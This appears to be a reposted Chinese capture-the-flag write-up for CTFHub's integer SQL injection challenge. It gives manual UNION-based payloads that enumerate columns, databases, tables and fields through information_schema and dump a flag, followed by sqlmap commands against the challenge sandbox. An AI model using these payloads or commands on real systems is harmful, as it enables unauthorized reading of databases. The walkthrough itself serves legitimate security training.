CTFHub_SQL整数型注入(超详解)
Posted 独角授
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub_SQL整数型注入(超详解)相关的知识,希望对你有一定的参考价值。
CTFHub_SQL整数型注入(超详解)
相信这个过程会帮助你理解sql注入!
首先打开环境
先尝试手注,已经说明是整数型,就直接查看字段数:
1 order by 1#
1 order by 2#
1 order by 3#
发现在第三步的时候没有回显,说明字段数是2。
接着判断显示位:
-1 union select 1,2#
然后查看数据库:
-1 union select database(),2#
接着获取sqli数据库中的表:
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
然后获取flag表中的字段名:
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
最后获取flag表中flag这一列内容,拿到flag!
-1 union select flag,2 from flag#
再用sqlmap跑一下
获取数据库:
sqlmap -u "http://challenge-ef25213cf992d3e6.sandbox.ctfhub.com:10800/?id=1" --dbs
获取sqli数据库的表名:
sqlmap -u "http://challenge-ef25213cf992d3e6.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
获取sqli数据库中flag表的字段名:
sqlmap -u "http://challenge-ef25213cf992d3e6.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
获取数据库sqli中的flag表的flag这一列的详细内容:
sqlmap -u "http://challenge-ef25213cf992d3e6.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump
拿到flag!
以上是关于CTFHub_SQL整数型注入(超详解)的主要内容,如果未能解决你的问题,请参考以下文章